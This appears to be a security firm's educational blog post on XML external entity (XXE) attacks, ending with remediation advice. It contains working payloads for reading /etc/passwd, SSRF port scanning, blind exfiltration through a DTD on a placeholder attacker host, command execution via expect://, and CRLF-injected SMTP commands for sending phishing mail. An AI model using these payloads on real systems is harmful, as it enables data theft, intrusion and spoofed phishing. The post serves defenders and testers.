From XML to RCE

Is your Web application secure from XXE ?

If your application handles and/or processes XML files through user uploads or through POST requests (eg.: SAML for SSO services or even RSS feeds), chances are that you are vulnerable to XXE attacks. While this vulnerability is detected in the wild everyday, Gardien Virtuel has been able to exploit this vulnerability in a couple of web application penetration tests during the last year.

What is XXE ?

XML eXternal Entity (XXE) attacks made it to OWASP's 2017 Top 10 and are defined by the organization as :

"[...] a type of attack against an application that parses XML input. It is essentially another injection type attack and one that can be quite critical if leveraged properly. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts [like DoS with the billion laughs attack]."

For example, if you are using PHP, libxml_disable_entity_loader needs to be set to TRUE in order to disable the use of external entities.

Basics of Exploitation

Typically, with XXE attackers craft a payload that is injected in the XML file, that when executed, will read local files on the server, access internal networks and scan internal ports. Through XXE, an attacker is able to read sensitive data and system files on a local machine and, on certain cases, escalate it to code execution. In other words, XXE is a way to reach various services from localhost, possibly bypassing firewall rules or authorization checks.

Let's take the following XML code as an example of a simple POST request:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>XML is the best!</description>
   </core>
</catalog>

The above code is then parsed by the server's XML processor. The code is interpreted and returns: {"Request Successful": "Added!"}

Now, what happens when an attacker tries to abuse from the XML code parsing ? Let's edit the code to include our malicious payload :

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

The code is interpreted and returns :

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

As seen in the example above, the server returned the response to our XXE with the contents of the /etc/passwd file. However, there are cases that a server might be vulnerable to XXE without actually returning the response back to the attacker's browser or proxy. A blind out-of-band XXE (OOB XXE) will allow us to leverage the vulnerability differently. Since we cannot view the contents of files directly, it is still possible to scan for internal IPs, ports, use the vulnerable server as a proxy to execute scans on external networks and execute code.

4 scenarios will be shown below.

Scenario 1 - Port Scanning

During the first example, the vulnerable server returned the response to our exploit. We used the file URI scheme to point our request to the /etc/passwd file. It is also possible to use the http URI scheme and force the server to send an HTTP GET request to an endpoint and port of our choice turning the XXE into a SSRF (Server-Side Request Forgery).

The code below will try to communicate with port 8080 and, depending on the response time and/or response length, the attacker will know if it is open.

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

Scenario 2 - File Exfiltration via DTD

External document type definition (DTD) files can be used to trigger OOB XXE by making the remote vulnerable server fetch the .dtd files hosted on the attacker's VPS and executing the malicious commands contained into them. The DTD file basically acts as an instruction file to the vulnerable server.

The following request was sent to the application to demonstrate and test this method :

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

The above code, once processed by the vulnerable server, sends a request to our remote server looking for a DTD file that contains our payload :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

Take your time to understand the execution flow of the above requests. The result is two requests sent to our server, the second one being the content of the /etc/passwd file.

In our VPS logs, we can see the second request with the content of the file, which confirms the OOB XXE :

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

Scenario 3 - Remote Code Execution

This scenario happens rarely but there have been cases where hackers were able to execute code via XXE, mostly due to poorly configured/developed internal applications. If we are lucky and that the PHP expect module is loaded on the vulnerable system or on an internal application processing XML, we could execute commands like so:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

Response :

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

Scenario 4 - Phishing

We found a vulnerable endpoint using Java's XML parser. After scanning internal ports, we discover an SMTP service listening on port 25 and Java is supporting the ftp URI scheme as implemented in sun.net.ftp.impl.FtpClient. Therefore, we can specify usernames and passwords such as in ftp://user:[email protected]:port/test.txt and the FTP client will send the corresponding USER command in the connection.

But what does that have to do with SMTP and phishing? What comes next is the interesting part. If we put %0D%0A (CRLF) anywhere in the user part of the URL, we can then terminate the USER command and inject a new command into the FTP session allowing us to send arbitrary SMTP commands to port 25:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:[email protected]:25

When the FTP client connects using this URL, the following commands will be sent to the mail server at VULNERABLESYSTEM.com :

ftp://a
EHLO a
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
From: [email protected]
To: [email protected]
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:[email protected]:25

This allows an attacker to send phishing (eg.: account reset links) emails from trusted sources, bypassing spam filters and degrading the reputation of your services. This attack is particularly interesting in a scenario where you can reach an internal mail server from the machine doing the XML parsing.

BONUS: It even allows for sending attachments ;-)

Useful Tools

Now, when it comes to XXE, it is important to be able to manually edit the contents of web requests on the go and BurpSuite is one of the recommended tools to do so. BurpSuite's scanner can, in some cases, detect potential XXE vulnerabilities but it's always suggested to get dirty and do the exploitation manually. If you manage to exploit an XXE vulnerable system, BurpSuite's Intruder is excellent to probe for open ports automatically. By viewing the response time/response length, you will quickly be able to tell if a port is open.

HTTP request analyzers like RequestBin and HookBin are useful to test for OOB XXEs. BurpSuite Pro's Collaborator usually does the trick but some security researchers prefer using their own VPS.

Remediation

Never trust your end users. Throughout this article, we can notice that the main problem is that the XML parser processes untrusted data sent by users. The problem is that most XML parsers are vulnerable to XML external entity attacks by default. Therefore, the best solution would be to configure the XML processor to use a local static DTD and disallow any declared DTD included in the XML document before deploying your application.

Sources

  1. https://blog.zsec.uk/blind-xxe-learning/
  2. https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
  3. https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
  4. https://mikeknoop.com/lxml-xxe-exploit/

XXE Cheatsheet

  1. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injections
  2. https://www.gracefulsecurity.com/xxe-cheatsheet/
  3. https://gist.github.com/abdilahrf/63ea0a21dc31010c9c8620425e212e30